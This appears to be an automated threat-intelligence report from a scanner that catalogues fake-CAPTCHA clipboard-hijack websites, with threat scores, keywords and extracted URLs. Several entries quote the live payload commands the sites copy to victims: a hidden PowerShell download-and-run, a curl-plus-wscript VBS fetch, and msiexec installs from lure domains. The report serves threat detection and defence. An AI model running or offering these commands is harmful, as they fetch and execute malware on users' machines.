Threat Intelligence Report

πŸ“… October 18, 2026 πŸ•’ Generated: 2026-10-18 05:16:48 πŸ” Sites Analyzed: 60
⬇️ Download JSON Report πŸ“ View All Reports on GitHub
🌐
60
Total Sites Analyzed
⚠️
28
Malicious Sites
47.0% detection rate
πŸ’»
15
PowerShell Commands
πŸ“‹
50
Clipboard Hijacks
πŸ“Š
915
Avg Threat Score

Attack Pattern Analysis

12
High Risk Commands
172
Base64 Encoded
0
Obfuscated JS
33
Inline JS Redirects
6
External JS Chains
27
Redirect Follows
PowerShell Commands 15
Clipboard Hijacks 50
Base64 Encoded 172
CAPTCHA Elements 39
High Risk Commands 12
JS Redirects 33

Top Indicators/Keywords

hidden (12) robot (9) verification (8) Robot (6) CAPTCHA Verification (4) Verification ID (4) Ray ID (4) I am not a robot (4) You will observe (4) CAPTCHA (4) CAPTCHA-verificatie-ID (4) Verification (4) verification-id (4) Checking if you are human (4) Verify you are human (4)

Malicious Sites Detected

Click on a site to view detailed analysis
https://widexenmexico.com.mx/plugins/Cloudflare/challenge/IsHuman/ID53728/
597 indicators detected
Score: 10915
38
base64
7
suspicious keywords

πŸ” Suspicious Keywords 7

Command line: [2]Removing applicationsRemoving filesRemoving foldersFile: [1], Section: [2], Key: [3], Value: [4]Removing INI file entriesRemoving ODBC componentsRemoving system registry valuesKey: [1], Name: [2]Removing shortcutsFile: [1], Folder: [2]Registering modulesRemoving backup filesRollbackRemoving moved filesRollbackCleanupInitializing ODBC directoriesStarting servicesStopping servicesUnpublishing Qualified ComponentsUnpublishing product informationThe wizard was interrupted before [ProductName] could be completely installed.UnmoveFilesUnpublishing product featuresUnregister class serversCreating IIS Virtual Roots...UnpublishProductAppId: [1]{{, AppType: [2]}}Unregistering COM+ Applications and ComponentsUnregistering extension serversUnregistering fontsUnregistering MIME infoUnregistering program identifiersUnregistering type librariesWriting INI file valuesKey: [1], Name: [2], Value: [3]Writing system registry valuesAdvertising applicationRemoving IIS Virtual Roots...caCreateVRoots{&TahomaBold10}Welcome to the InstallShield Wizard for [ProductName]caRemoveVRoots1ISCHECKFORPRODUCTUPDATESAllUsersApplicationUsersNoAgreeToLicenseChange_IsMaintenanceCloseRestartRestartManagerOptionTypicalSetupType_IsSetupTypeMinDisplay_IsBitmapDlg{3B59CBE2-36D2-452F-B123-685CEEEB7456}[1]ALLUSERSARPPRODUCTICON.exeARPPRODUCTICON30DWUSINTERVALCE8B87EF8EFC67DF99ACF778AEBB978FDEEB808FFEAB07BFCEBC872FEE9BD088CECCA08FC9ACDWUSLINKTahoma8DefaultUIFontInstallShield for Windows InstallerDialogCaptionMinimalDisplayNameCustomThe InstallShield(R) Wizard will create a server image of [ProductName] at a specified network location. To continue, click Next.DisplayNameMinimalCosting COM+ application: [1]DisplayNameTypicalSetupErrorErrorDialog100INSTALLLEVEL0ISVROOT_PORT_NOInstalling COM+ application: [1]IS_COMPLUS_PROGRESSTEXT_COSTUninstalling COM+ application: [1]IS_COMPLUS_PROGRESSTEXT_INSTALLA newer version of this application is already installed on this computer. If you wish to install this version, please uninstall the newer version first. Click OK to exit the wizard.IS_COMPLUS_PROGRESSTEXT_UNINSTALLReplacing %s with %s in %s...IS_PREVENT_DOWNGRADE_EXITCosting XML files...IS_PROGMSG_TEXTFILECHANGS_REPLACECreating XML file %s...IS_PROGMSG_XML_COSTINGPerforming XML file changes...IS_PROGMSG_XML_CREATE_FILERemoving XML file %s...IS_PROGMSG_XML_FILESRolling back XML file changes...IS_PROGMSG_XML_REMOVE_FILEUpdating XML file %s...IS_PROGMSG_XML_ROLLBACK_FILESYour Company NameIS_PROGMSG_XML_UPDATE_FILEIS_SQLSERVER_AUTHENTICATIONsaIS_SQLSERVER_USERNAMEARInstallChoiceCreating application pool %sManufacturer12345<###-%%%%%%%>@@@@@PIDTemplateCreating application Pools...PROGMSG_IIS_CREATEAPPPOOLCreating IIS virtual directory %sPROGMSG_IIS_CREATEAPPPOOLSCreating IIS virtual directories...PROGMSG_IIS_CREATEVROOTCreating web service extensionPROGMSG_IIS_CREATEVROOTSCreating web service extensions...PROGMSG_IIS_CREATEWEBSERVICEEXTENSIONCreating IIS website %sPROGMSG_IIS_CREATEWEBSERVICEEXTENSIONSCreating IIS websites...PROGMSG_IIS_CREATEWEBSITEExtracting information for IIS virtual directories...PROGMSG_IIS_CREATEWEBSITESExtracted information for IIS virtual directories...PROGMSG_IIS_EXTRACTRemoving application po !"$0/& 2  &,!  2 & 
cmd
cmD
invoke
.exe
bitmap
VirtualAlloc

🌐 Extracted URLs 30

http://logo.verisign.com/vslogo.gif0
http://sv.symcb.com/sv.crl0aU
https://d.symcb.com/cps0%+0
https://d.symcb.com/rpa0U
http://sv.symcd.com0&+0http://sv.symcb.com/sv.crt0
http://192.155.93.247:3101/
1025 indicators detected
Score: 8528
6
base64
3
suspicious keywords

πŸ” Suspicious Keywords 3

robot
Robot
hidden

🌐 Extracted URLs 190

https://gmpg.org/xfn/11
https://yoast.com/wordpress/plugins/seo/
https://www.ccera-icar.org/
https://www.ccera-icar.org/
https://www.ccera-icar.org/wp-content/uploads/2022/08/Frame-3.png
https://104.199.248.167/
727 indicators detected
Score: 5687
1
base64
3
suspicious keywords

πŸ” Suspicious Keywords 3

robot
Robot
hidden

🌐 Extracted URLs 91

https://ogp.me/ns#
https://104.199.248.167/
https://104.199.248.167/
https://104.199.248.167/wp-content/uploads/2020/08/mlogo.png
https://104.199.248.167/wp-content/uploads/2020/08/mlogo.png
https://44.208.147.17/
761 indicators detected
Score: 5402 Redirect Chain
4
base64
1
redirects
3
redirect chains
3
redirect follows
3
suspicious keywords

πŸ” Suspicious Keywords 3

robot
Robot
hidden

🌐 Extracted URLs 110

https://gmpg.org/xfn/11
https://44.208.147.17/feed/
https://44.208.147.17/comments/feed/
https://44.208.147.17/wp-content/plugins/wpvr/src/view.css?ver=6.0.17
https://44.208.147.17/wp-includes/css/dist/block-library/style.min.css?ver=6.0.17

πŸ” External JavaScript Redirect Chains

Showing first 2 of 3 chains (truncated for performance)

Script: https://44.208.147.17/wp-content/plugins/wpvr/public/js/video.js?ver=1
Type: script_src
Destination (first appearance): https://vjs.zencdn.net/vttjs/0.14.1/vtt.min.js
eys(Fi).length?this.trigger("vttjsloaded"):((e=document.createElement("script")).src=this.options_["vtt.js"]||"https://vjs.zencdn.net/vttjs/0.14.1/vtt.min.js",e.onload=function(){t.trigger("vttjsloaded")},e.onerror=function(){t.trigger("vtt…
Script: https://44.208.147.17/wp-content/plugins/wpvr/public/lib/videojs-vr/videojs-vr.js?ver=1
Type: base64_payload
Destination (first appearance): https://www.w3.org/2000/svg
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<svg width="198px" height="240px" viewBox="0 0 198 240" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" xmlns:sketch="http://www.bohemiancodi…

πŸ›°οΈ Redirect Follower Findings (3)

Source: external_js
Method: script_src
eys(Fi).length?this.trigger("vttjsloaded"):((e=document.createElement("script")).src=this.options_["vtt.js"]||"https://vjs.zencdn.net/vttjs/0.14.1/vtt.min.js",e.onload=function(){t.trigger("vttjsloaded")},e.onerror=function(){t.trigger("vtt…
Status: ok
/* videojs-vtt.js - v0.14.1 (https://github.com/gkatsev/vtt.js) built on 10-04-2018 */
!function(a){if("object"==typeof exports&&"undefined"!=typeof module)module.exports=a();else if("function"==typeof define&&define.amd)define([],a);else{var b;b="undefined"!=typeof window?window:"undefined"!=typeof global?global:"undefined"!=typeof self?self:this,b.vttjs=a()}}(function(){return function a(b,c,d){function e(g,h){if(!c[g]){if(!b[g]){var i="function"==typeof require&&require;if(!h&&i)return i(g,!0... [truncated]
Source: external_js
Method: base64_payload
Chain: http://www.w3.org/2000/svg
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<svg width="198px" height="240px" viewBox="0 0 198 240" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" xmlns:sketch="http://www.bohemiancodi…
Status: ok
<!DOCTYPE html><html lang="en-US"><head><title>Just a moment...</title><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=Edge"><meta name="robots" content="noindex,nofollow"><meta name="viewport" content="width=device-width,initial-scale=1"><meta http-equiv="content-security-policy" content="default-src &#39;none&#39;; script-src &#39;nonce-Jsip4uvz72lbo4WvR4gQpm&#39; &#39;unsafe-eval&#39; https://challenges.cloudflare.com; script-s... [truncated]
Source: external_js
Method: base64_payload
Chain: http://www.videolan.org/x264.html
 ftypmp42isomiso2avc1mp41freemdatEH, #x264 - core 142 r2479 dd79a61 - H.264/MPEG-4 AVC codec - Copyleft 2003-2014 - http://www.videolan.org/x264.html - options: cabac=1 ref=1 deblock=1:0:0 analyse=0x1:0x111 me=hex subme=2…
Status: ok
    <!DOCTYPE html>
    <html lang="en" >
    <head>
        <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
                    <meta http-equiv="X-UA-Compatible" content="IE=edge" />
            <meta name="viewport" content="width=device-width, initial-scale=1" />
        
        <meta name="Author" content="VideoLAN" />
        <meta name="Keywords" content=
        "VideoLAN, VLC, VLC player, VLC media player, download, media player, player download, codec, encoder, m... [truncated]
https://twitch.tj/
314 indicators detected
Score: 3913
21
base64
1
redirects
13
suspicious keywords

πŸ” Suspicious Keywords 13

captcha-ui
captchaCanvas
captchaInput
CAPTCHA
captcha-msg
robot
verifications
verification
iEx
Bypass

🌐 Extracted URLs 79

https://webadormyappiiclohelverydssxc.com/feed/
https://webadormyappiiclohelverydssxc.com/comments/feed/
https://webadormyappiiclohelverydssxc.com/wp-includes/blocks/site-title/style.min.css
https://webadormyappiiclohelverydssxc.com/wp-includes/blocks/page-list/style.min.css
https://webadormyappiiclohelverydssxc.com/wp-includes/blocks/navigation/style.min.css
http://172.96.189.153/
687 indicators detected
Score: 3400 Fake CAPTCHA Redirect Chain
1
captcha
8
base64
1
redirects
1
redirect follows
15
suspicious keywords

πŸ” Suspicious Keywords 15

captcha-styles
captcha-styles-css
Captcha
CaptchaImages
captcha-overlay
captcha-modal
captcha-container
captcha
captcha-verified
captcha-loader

🌐 Extracted URLs 288

http://gmpg.org/xfn/11
http://172.96.189.153/feed/
http://172.96.189.153/comments/feed/
http://172.96.189.153/wp-json/oembed/1.0/embed?url=http%3A%2F%2F172.96.189.153%2F
http://172.96.189.153/wp-json/oembed/1.0/embed?url=http%3A%2F%2F172.96.189.153%2F&#038;format=xml

πŸ›°οΈ Redirect Follower Findings (1)

Source: inline_js
Method: script_src
;

            var iframe = document.createElement('iframe');
            iframe.src = 'http://172.96.189.153/wp-content/plugins/CF/captcha.html';
            iframe.style.cssText = 'width:100%;height:100%;border:none;';
Status: ok
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="utf-8"/>
  <meta name="viewport" content="width=device-width,initial-scale=1"/>
  <title>Checking if you are human</title>
  <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css">
  <link rel="icon" id="dynamic-favicon" href="data:,">
  <link rel="preload" as="image" href="https://www.straightsell.com.au/documents/AddOns/cloudflare-logo-main.png">
  <style>
    body { background-color... [truncated]
https://202.74.75.181/
1057 indicators detected
Score: 3067
4
base64
1
redirects
4
suspicious keywords

πŸ” Suspicious Keywords 4

verification
VerificationToken
CMD
hidden

🌐 Extracted URLs 835

https://obe.umkla.ac.id/
https://obe.umkla.ac.id/
http://d33egg70nrp50s.cloudfront.net/Fonts/Lato-Regular.woff2
http://d33egg70nrp50s.cloudfront.net/Fonts/Lato-Regular.woff
http://d33egg70nrp50s.cloudfront.net/Fonts/Gilroy-Bold.woff2
https://98.70.13.131/
805 indicators detected
Score: 2458 Redirect Chain
41
base64
5
redirects
2
redirect chains
6
redirect follows
3
suspicious keywords

πŸ” Suspicious Keywords 3

command over Creativity, Excellence in spoken word, and outward articulation of inner knowledge.</p>
captcha
hidden

🌐 Extracted URLs 351

https://matangipetals.com/uploads/1d83d9d323d619d65e7156dccc8417086157d487.png
https://98.70.13.131/assets/assets/css/bootstrap.min.css
https://98.70.13.131/assets/assets/css/all.min.css
https://98.70.13.131/assets/assets/css/font.css
https://98.70.13.131/assets/assets/css/swiper.min.css

πŸ” External JavaScript Redirect Chains

Showing first 2 of 2 chains (truncated for performance)

Script: https://www.googletagmanager.com/gtag/js?id=G-VT1PVQ1ZY1
Type: base64_payload
Destination (first appearance): https://www.googletagmanager.com:443/
;1k͎~J})
@`}Τ•uO5w\QR>{"origin":"https://www.googletagmanager.com:443","feature":"SharedWorkerExtendedLifetime","expiry":1776729600,"isThirdParty":true}
Script: https://www.google.com/recaptcha/api.js?hl=&render=6Lf7uxYsAAAAANagtTWlY2ET8HF8nbfMf4-ePcWm
Type: script_src
Destination (first appearance): https://www.gstatic.com/recaptcha/releases/4EDjxXf4knsx6UBM1L2V6cv8/recaptcha__en.js
tment_1.2'&&l!=='control_1.1'){d.head.prepend(m);}});}else{d.head.prepend(m);}po.src='https://www.gstatic.com/recaptcha/releases/4EDjxXf4knsx6UBM1L2V6cv8/recaptcha__en.js';po.crossOrigin='anonymous';po.integrity='sha384-MfhGH2E6ODxTd15SRBg5…

πŸ›°οΈ Redirect Follower Findings (6)

Source: inline_js
Method: script_src
document.getElementById('popup-image').onerror = function () {
        this.src = 'https://98.70.13.131/assets/image/placeholder.png';
    };

    document.querySelector('[data-close-notification-popup]').addEv
Status: ok
PNG


IHDR6	pHYsiTXtXML:com.adobe.xmp<?xpacket begin="ο»Ώ" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap... [truncated]
Source: inline_js
Method: location_assignment
if(prev_url.indexOf(findder) != -1){
                               window.location.href="https://98.70.13.131/user-order";
                           }else{
                             window.locati
Status: ok
<!DOCTYPE html>
<html lang="en">
    <head>
        <meta charset="utf-8">
        <meta name="viewport" content="width=device-width, initial-scale=1">

        <title>Server Error</title>

        <!-- Fonts -->
        <link rel="preconnect" href="https://fonts.gstatic.com">
        <link href="https://fonts.googleapis.com/css2?family=Nunito&display=swap" rel="stylesheet">

        <style>
            /*! normalize.css v8.0.1 | MIT License | github.com/necolas/normalize.css */html{line-height:... [truncated]
Source: inline_js
Method: location_assignment
1/user-order";
                           }else{
                             window.location.href="https://98.70.13.131/home";
                           }
Status: ok
<!doctype html>
<html lang="en">
   <head>
      <meta charset="utf-8" />
      <meta name="viewport" content="width=device-width, initial-scale=1.0" />
      <title>Buy Herbal Oil, Powders, Art Frames , Books Online with Matangi Petals</title>
      <meta name="description" content="Shop herbal oils, powders, spiritual books &amp; art frames at Matangi Metals. Order authentic wellness &amp; spiritual products online. Fast delivery!">
      <link rel="icon" type="image/png" href="https://... [truncated]
Source: inline_js
Method: location_assignment
Chain: https://98.70.13.131/login
// }else{
                              //     window.location.href="https://98.70.13.131/login";
                              // }
                            }else{
Status: ok
<!doctype html>
<html lang="en">
   <head>
      <meta charset="utf-8" />
      <meta name="viewport" content="width=device-width, initial-scale=1.0" />
      <title>Buy Herbal Oil, Powders, Art Frames , Books Online with Matangi Petals</title>
      <meta name="description" content="Shop herbal oils, powders, spiritual books &amp; art frames at Matangi Metals. Order authentic wellness &amp; spiritual products online. Fast delivery!">
      <link rel="icon" type="image/png" href="https://... [truncated]
Source: external_js
Method: base64_payload
;1k͎~J})
@`}Τ•uO5w\QR>{"origin":"https://www.googletagmanager.com:443","feature":"SharedWorkerExtendedLifetime","expiry":1776729600,"isThirdParty":true}
Status: ok
<!DOCTYPE html>
<html lang=en>
  <meta charset=utf-8>
  <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width">
  <title>Error 404 (Not Found)!!1</title>
  <style>
    *{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px}* > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 ... [truncated]
+1 more entries (see JSON)
https://5.63.157.201/
94 indicators detected
Score: 2008 Redirect Chain
4
base64
1
redirects
1
redirect follows
5
suspicious keywords

πŸ” Suspicious Keywords 5

exec(ua) != null) { rv = parseFloat(RegExp.$1); } } else if (n.appName == "Netscape") { rv = 11; re = new RegExp("Trident/.*rv:([0-9]+[\.0-9]*)"); if (re.exec(ua) != null) { rv = parseFloat(RegExp.$1); } } } return rv; } })(window, document, navigator)
robot
verification
exec(
hidden

🌐 Extracted URLs 21

https://alfavit-obuv.ru/include/logo.png
https://alfavit-obuv.ru/
https://mc.yandex.ru/watch/55085083
https://api.whatsapp.com/send/?phone=79168411253
https://api.whatsapp.com/send/?phone=79168411253

πŸ›°οΈ Redirect Follower Findings (1)

Source: inline_js
Method: script_src
{ return; }}
   k=e.createElement(t),a=e.getElementsByTagName(t)[0],k.async=1,k.src=r,a.parentNode.insertBefore(k,a)})
   (window, document, "script", "https://mc.yandex.ru/metrika/tag.js", "ym");

   ym(55085083, "init", {
        clickmap…
Status: ok
ο»Ώ(function(){var aa;function ba(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ca="function"==typeof Object.defineProperties?Object.defineProperty:function(a,b,c){if(a==Array.prototype||a==Object.prototype)return a;a[b]=c.value;return a};
function ea(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}thr... [truncated]
https://173.231.196.249/
79 indicators detected
Score: 636 PowerShell Clipboard Hijack
2
powershell
6
clipboard
3
captcha
2
base64
27
suspicious keywords
2
high risk

πŸ’» PowerShell Commands 2

powershell -w h -ep Bypass -nop -c "$d='p.ps1';$y=$env:USERPROFILE+'\\\\Downloads\\\\'+$d;Start-Sleep 15;(New-Object Net.WebClient).DownloadFile('https://ghost.nestdns.com/files', $y);& $y;Remove-Item $y -Force;"`;
New-Object

πŸ” Suspicious Keywords 27

cmd.exe /c powershell -w h -ep Bypass -nop -c "$d='p.ps1';$y=$env:USERPROFILE+'\\\\Downloads\\\\'+$d;Start-Sleep 15;(New-Object Net.WebClient).DownloadFile('https://ghost.nestdns.com/files', $y);& $y;Remove-Item $y -Force;"`;
command = `cmd.exe /c powershell -w h -ep Bypass -nop -c "$d='p.ps1';$y=$env:USERPROFILE+'\\\\Downloads\\\\'+$d;Start-Sleep 15;(New-Object Net.WebClient).DownloadFile('https://ghost.nestdns.com/files', $y);& $y;Remove-Item $y -Force;"`;
CAPTCHA Verification
Verification ID
verification id
Ray ID
ray id
I am not a robot
You will observe
CAPTCHA

🌐 Extracted URLs 5

https://i.postimg.cc/k4zrz92z/111.png
https://ghost.nestdns.com/files
https://www.google.com/s2/favicons?sz=128&domain=${encodeURIComponent
https://icons.duckduckgo.com/ip3/${encodeURIComponent
https://${host}/favicon.ico`

πŸ“‹ Clipboard Manipulation Code

Showing first 2 of 6 entries (truncated for performance) 

...ea); textarea.select(); try { document.execCommand('copy'); } catch(e) { /* ignore */ } document....
...ntDefault(); if (e.clipboardData) { e.clipboardData.setData('text/plain', command); } else if (window.clip...
https://103.74.5.124/
75 indicators detected
Score: 624 PowerShell Clipboard Hijack
1
powershell
6
clipboard
3
captcha
2
base64
22
suspicious keywords

πŸ’» PowerShell Commands 1

curl

πŸ” Suspicious Keywords 22

cmd /c "curl -s http://178.17.59.40:5506/qk.vbs -o %temp%\\qk.vbs >nul && wscript.exe //B //E:VBScript %temp%\\qk.vbs"';
command = 'cmd /c "curl -s http://178.17.59.40:5506/qk.vbs -o %temp%\\qk.vbs >nul && wscript.exe //B //E:VBScript %temp%\\qk.vbs"';
CAPTCHA Verification
Verification ID
Ray ID
I am not a robot
You will observe
CAPTCHA
CAPTCHA-verificatie-ID
Robot

🌐 Extracted URLs 6

https://t.me/blockchainkittie
https://i.postimg.cc/k4zrz92z/111.png
http://178.17.59.40:5506/qk.vbs
https://www.google.com/s2/favicons?sz=128&domain=${encodeURIComponent
https://icons.duckduckgo.com/ip3/${encodeURIComponent

πŸ“‹ Clipboard Manipulation Code

Showing first 2 of 6 entries (truncated for performance) 

...ea); textarea.select(); try { document.execCommand('copy'); } catch(e) { /* ignore */ } document....
...ntDefault(); if (e.clipboardData) { e.clipboardData.setData('text/plain', command); } else if (window.clip...
https://178.210.83.9/
70 indicators detected
Score: 588 Clipboard Hijack Fake CAPTCHA
6
clipboard
3
captcha
3
base64
21
suspicious keywords

πŸ” Suspicious Keywords 21

command = "msiexec /i https://shift-art.com/123/cloudflare/verify/humanverfification/cloudflarechallenge/CustomerID37832738/";
exec /i https://shift-art.com/123/cloudflare/verify/humanverfification/cloudflarechallenge/CustomerID37832738/";
CAPTCHA Verification
Verification ID
verification id
Ray ID
ray id
I am not a robot
You will observe
CAPTCHA

🌐 Extracted URLs 5

https://i.postimg.cc/k4zrz92z/111.png
https://shift-art.com/123/cloudflare/verify/humanverfification/cloudflarechallenge/CustomerID37832738/
https://www.google.com/s2/favicons?sz=128&domain=${encodeURIComponent
https://icons.duckduckgo.com/ip3/${encodeURIComponent
https://${host}/favicon.ico`

πŸ“‹ Clipboard Manipulation Code

Showing first 2 of 6 entries (truncated for performance) 

...ea); textarea.select(); try { document.execCommand('copy'); } catch(e) { /* ignore */ } document....
...ntDefault(); if (e.clipboardData) { e.clipboardData.setData('text/plain', command); } else if (window.clip...
http://125.253.125.72/
384 indicators detected
Score: 572 Redirect Chain
1
base64
2
redirects
1
redirect chains
1
redirect follows
2
suspicious keywords

πŸ” Suspicious Keywords 2

verification
hidden

🌐 Extracted URLs 369

http://ogp.me/ns#
https://www.googletagmanager.com/gtag/js?id=UA-86972255-1
http://gmpg.org/xfn/11
http://baovechuyennghiep.baovengayvadem.com/xmlrpc.php
http://baovechuyennghiep.baovengayvadem.com/wp-content/plugins/category-posts/cat-posts.css

πŸ” External JavaScript Redirect Chains

Showing first 1 of 1 chains (truncated for performance)

Script: https://www.googletagmanager.com/gtag/js?id=UA-86972255-1
Type: base64_payload
Destination (first appearance): https://www.googletagmanager.com:443/
;1k͎~J})
@`}Τ•uO5w\QR>{"origin":"https://www.googletagmanager.com:443","feature":"SharedWorkerExtendedLifetime","expiry":1776729600,"isThirdParty":true}

πŸ›°οΈ Redirect Follower Findings (1)

Source: external_js
Method: base64_payload
;1k͎~J})
@`}Τ•uO5w\QR>{"origin":"https://www.googletagmanager.com:443","feature":"SharedWorkerExtendedLifetime","expiry":1776729600,"isThirdParty":true}
Status: ok
<!DOCTYPE html>
<html lang=en>
  <meta charset=utf-8>
  <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width">
  <title>Error 404 (Not Found)!!1</title>
  <style>
    *{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px}* > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 ... [truncated]
https://216.119.126.23/old_backup/
69 indicators detected
Score: 551 Clipboard Hijack Fake CAPTCHA
6
clipboard
3
captcha
2
base64
22
suspicious keywords

πŸ” Suspicious Keywords 22

command = "msiexec /i https://pizzabyte.com.au/smartdetection/deviceverification/CF/path/captcha";
exec /i https://pizzabyte.com.au/smartdetection/deviceverification/CF/path/captcha";
CAPTCHA Verification
Verification ID
verification id
Ray ID
ray id
I am not a robot
You will observe
CAPTCHA

🌐 Extracted URLs 5

https://i.postimg.cc/k4zrz92z/111.png
https://pizzabyte.com.au/smartdetection/deviceverification/CF/path/captcha
https://www.google.com/s2/favicons?sz=128&domain=${encodeURIComponent
https://icons.duckduckgo.com/ip3/${encodeURIComponent
https://${host}/favicon.ico`

πŸ“‹ Clipboard Manipulation Code

Showing first 2 of 6 entries (truncated for performance) 

...ea); textarea.select(); try { document.execCommand('copy'); } catch(e) { /* ignore */ } document....
...ntDefault(); if (e.clipboardData) { e.clipboardData.setData('text/plain', command); } else if (window.clip...
https://201.182.25.51/
66 indicators detected
Score: 540 Clipboard Hijack Fake CAPTCHA
6
clipboard
3
captcha
1
base64
20
suspicious keywords

πŸ” Suspicious Keywords 20

command safe so later code runs */
command = `msiexec /i https://i-like-ele-phants-verification.live/iamchallenge/verification/UserID7383526`;
exec /i https://i-like-ele-phants-verification.live/iamchallenge/verification/UserID7383526`;
CAPTCHA Verification
Verification ID
Ray ID
I am not a robot
You will observe
CAPTCHA
CAPTCHA-verificatie-ID

🌐 Extracted URLs 5

https://i.postimg.cc/k4zrz92z/111.png
https://i-like-ele-phants-verification.live/iamchallenge/verification/UserID7383526`;
https://www.google.com/s2/favicons?sz=128&domain=${encodeURIComponent
https://icons.duckduckgo.com/ip3/${encodeURIComponent
https://${host}/favicon.ico`

πŸ“‹ Clipboard Manipulation Code

Showing first 2 of 6 entries (truncated for performance) 

...ild(textarea); textarea.select(); document.execCommand('copy'); document.body.removeChild(textarea);...
...ntDefault(); if (e.clipboardData) { e.clipboardData.setData('text/plain', command); } else if (window.clip...
https://162.215.130.152/
67 indicators detected
Score: 520 PowerShell Clipboard Hijack
2
powershell
4
clipboard
3
captcha
2
base64
25
suspicious keywords
2
high risk

πŸ’» PowerShell Commands 2

powershell -w h -ep Bypass -nop -c "$d='p.ps1';$y=$env:USERPROFILE+'\\\\Downloads\\\\'+$d;Start-Sleep 15;(New-Object Net.WebClient).DownloadFile('https://ghost.nestdns.com/files', $y);& $y;Remove-Item $y -Force;"`;
New-Object

πŸ” Suspicious Keywords 25

cmd.exe /c powershell -w h -ep Bypass -nop -c "$d='p.ps1';$y=$env:USERPROFILE+'\\\\Downloads\\\\'+$d;Start-Sleep 15;(New-Object Net.WebClient).DownloadFile('https://ghost.nestdns.com/files', $y);& $y;Remove-Item $y -Force;"`;
command = `cmd.exe /c powershell -w h -ep Bypass -nop -c "$d='p.ps1';$y=$env:USERPROFILE+'\\\\Downloads\\\\'+$d;Start-Sleep 15;(New-Object Net.WebClient).DownloadFile('https://ghost.nestdns.com/files', $y);& $y;Remove-Item $y -Force;"`;
CAPTCHA Verification
Verification ID
Ray ID
I am not a robot
You will observe
CAPTCHA
CAPTCHA-verificatie-ID
Robot

🌐 Extracted URLs 5

https://i.postimg.cc/k4zrz92z/111.png
https://ghost.nestdns.com/files
https://www.google.com/s2/favicons?sz=128&domain=${encodeURIComponent
https://icons.duckduckgo.com/ip3/${encodeURIComponent
https://${host}/favicon.ico`

πŸ“‹ Clipboard Manipulation Code

Showing first 2 of 4 entries (truncated for performance) 

...ntDefault(); if (e.clipboardData) { e.clipboardData.setData('text/plain', command); } else if (window.clip...
...} else if (window.clipboardData) { window.clipboardData.setData('Text', command); } }); </script> <!-- === Tr...
https://18.176.47.246/
283 indicators detected
Score: 520
5
base64
3
suspicious keywords

πŸ” Suspicious Keywords 3

captcha-badge
robot
hidden

🌐 Extracted URLs 144

https://18.176.47.246/feed/
https://18.176.47.246/comments/feed/
https://18.176.47.246/wp-content/plugins/vk-all-in-one-expansion-unit/assets/css/vkExUnit_style.css?ver=9.113.0.1
https://18.176.47.246/wp-content/plugins/vk-all-in-one-expansion-unit/assets/css/vkExUnit_style.css?ver=9.113.0.1
https://18.176.47.246/wp-content/plugins/vk-all-in-one-expansion-unit/assets/images/to-top-btn-icon.svg
http://162.215.130.152/
67 indicators detected
Score: 520 PowerShell Clipboard Hijack
2
powershell
4
clipboard
3
captcha
2
base64
25
suspicious keywords
2
high risk

πŸ’» PowerShell Commands 2

powershell -w h -ep Bypass -nop -c "$d='p.ps1';$y=$env:USERPROFILE+'\\\\Downloads\\\\'+$d;Start-Sleep 15;(New-Object Net.WebClient).DownloadFile('https://ghost.nestdns.com/files', $y);& $y;Remove-Item $y -Force;"`;
New-Object

πŸ” Suspicious Keywords 25

cmd.exe /c powershell -w h -ep Bypass -nop -c "$d='p.ps1';$y=$env:USERPROFILE+'\\\\Downloads\\\\'+$d;Start-Sleep 15;(New-Object Net.WebClient).DownloadFile('https://ghost.nestdns.com/files', $y);& $y;Remove-Item $y -Force;"`;
command = `cmd.exe /c powershell -w h -ep Bypass -nop -c "$d='p.ps1';$y=$env:USERPROFILE+'\\\\Downloads\\\\'+$d;Start-Sleep 15;(New-Object Net.WebClient).DownloadFile('https://ghost.nestdns.com/files', $y);& $y;Remove-Item $y -Force;"`;
CAPTCHA Verification
Verification ID
Ray ID
I am not a robot
You will observe
CAPTCHA
CAPTCHA-verificatie-ID
Robot

🌐 Extracted URLs 5

https://i.postimg.cc/k4zrz92z/111.png
https://ghost.nestdns.com/files
https://www.google.com/s2/favicons?sz=128&domain=${encodeURIComponent
https://icons.duckduckgo.com/ip3/${encodeURIComponent
https://${host}/favicon.ico`

πŸ“‹ Clipboard Manipulation Code

Showing first 2 of 4 entries (truncated for performance) 

...ntDefault(); if (e.clipboardData) { e.clipboardData.setData('text/plain', command); } else if (window.clip...
...} else if (window.clipboardData) { window.clipboardData.setData('Text', command); } }); </script> <!-- === Tr...
http://18.176.47.246/
283 indicators detected
Score: 520
5
base64
3
suspicious keywords

πŸ” Suspicious Keywords 3

captcha-badge
robot
hidden

🌐 Extracted URLs 144

http://18.176.47.246/feed/
